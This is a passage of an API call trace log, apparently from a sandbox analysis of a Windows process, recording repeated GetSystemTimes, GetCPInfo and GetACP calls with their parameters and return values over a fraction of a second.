lpUserTime=0x18fa68) returned 1 [0055.848] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.848] GetACP () returned 0x4e4 [0055.848] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.848] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.848] GetACP () returned 0x4e4 [0055.848] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.848] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.848] GetACP () returned 0x4e4 [0055.848] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.848] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.848] GetACP () returned 0x4e4 [0055.848] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.848] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.848] GetACP () returned 0x4e4 [0055.848] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.848] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.848] GetACP () returned 0x4e4 [0055.848] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.848] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.849] GetACP () returned 0x4e4 [0055.849] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.849] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.849] GetACP () returned 0x4e4 [0055.849] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.849] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.849] GetACP () returned 0x4e4 [0055.849] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.849] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.849] GetACP () returned 0x4e4 [0055.849] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.849] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.849] GetACP () returned 0x4e4 [0055.849] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.849] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.849] GetACP () returned 0x4e4 [0055.849] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.849] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.849] GetACP () returned 0x4e4 [0055.849] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.849] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.849] GetACP () returned 0x4e4 [0055.849] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.849] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.849] GetACP () returned 0x4e4 [0055.849] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.850] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.850] GetACP () returned 0x4e4 [0055.850] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.850] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.850] GetACP () returned 0x4e4 [0055.850] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.850] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.850] GetACP () returned 0x4e4 [0055.850] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.850] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.850] GetACP () returned 0x4e4 [0055.850] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.850] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.850] GetACP () returned 0x4e4 [0055.850] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.850] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.850] GetACP () returned 0x4e4 [0055.850] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.850] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.850] GetACP () returned 0x4e4 [0055.850] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.850] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.850] GetACP () returned 0x4e4 [0055.850] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.850] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.850] GetACP () returned 0x4e4 [0055.850] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.851] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.851] GetACP () returned 0x4e4 [0055.851] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.851] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.851] GetACP () returned 0x4e4 [0055.851] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.851] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.851] GetACP () returned 0x4e4 [0055.851] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.851] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.851] GetACP () returned 0x4e4 [0055.851] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.851] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.851] GetACP () returned 0x4e4 [0055.851] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.851] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.851] GetACP () returned 0x4e4 [0055.851] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.851] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.851] GetACP () returned 0x4e4 [0055.851] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.851] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.851] GetACP () returned 0x4e4 [0055.851] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.851] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.851] GetACP () returned 0x4e4 [0055.851] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.852] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.852] GetACP () returned 0x4e4 [0055.852] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.852] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.852] GetACP () returned 0x4e4 [0055.852] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.852] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.852] GetACP () returned 0x4e4 [0055.852] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.852] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.852] GetACP () returned 0x4e4 [0055.852] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.852] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.852] GetACP () returned 0x4e4 [0055.852] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.852] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.852] GetACP () returned 0x4e4 [0055.852] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.852] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.852] GetACP () returned 0x4e4 [0055.852] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.852] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.852] GetACP () returned 0x4e4 [0055.852] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.852] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.852] GetACP () returned 0x4e4 [0055.852] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.853] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.853] GetACP () returned 0x4e4 [0055.853] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.853] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.853] GetACP () returned 0x4e4 [0055.853] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.853] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.853] GetACP () returned 0x4e4 [0055.853] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.853] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.853] GetACP () returned 0x4e4 [0055.853] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.853] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.853] GetACP () returned 0x4e4 [0055.853] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.853] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.853] GetACP () returned 0x4e4 [0055.853] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.853] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.853] GetACP () returned 0x4e4 [0055.853] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.853] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.853] GetACP () returned 0x4e4 [0055.853] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.853] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.853] GetACP () returned 0x4e4 [0055.853] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.853] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.854] GetACP () returned 0x4e4 [0055.854] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.854] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.854] GetACP () returned 0x4e4 [0055.854] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.854] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.854] GetACP () returned 0x4e4 [0055.854] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.854] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.854] GetACP () returned 0x4e4 [0055.854] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.854] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.854] GetACP () returned 0x4e4 [0055.854] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.854] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.854] GetACP () returned 0x4e4 [0055.854] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.854] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.854] GetACP () returned 0x4e4 [0055.854] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.854] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.854] GetACP () returned 0x4e4 [0055.854] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.854] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.854] GetACP () returned 0x4e4 [0055.854] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.855] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0055.855] GetACP () returned 0x4e4 [0055.855] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0055.855] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.024] GetACP () returned 0x4e4 [0056.024] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.024] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.024] GetACP () returned 0x4e4 [0056.024] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.024] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.024] GetACP () returned 0x4e4 [0056.024] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.024] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.024] GetACP () returned 0x4e4 [0056.025] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.025] GetACP () returned 0x4e4 [0056.025] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.025] GetACP () returned 0x4e4 [0056.025] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.025] GetACP () returned 0x4e4 [0056.025] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.025] GetACP () returned 0x4e4 [0056.025] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.025] GetACP () returned 0x4e4 [0056.025] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.025] GetACP () returned 0x4e4 [0056.025] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.025] GetACP () returned 0x4e4 [0056.025] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.025] GetACP () returned 0x4e4 [0056.025] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.025] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.025] GetACP () returned 0x4e4 [0056.025] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.026] GetACP () returned 0x4e4 [0056.026] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.026] GetACP () returned 0x4e4 [0056.026] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0056.026] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0056.026] GetACP () returned 0x4e4 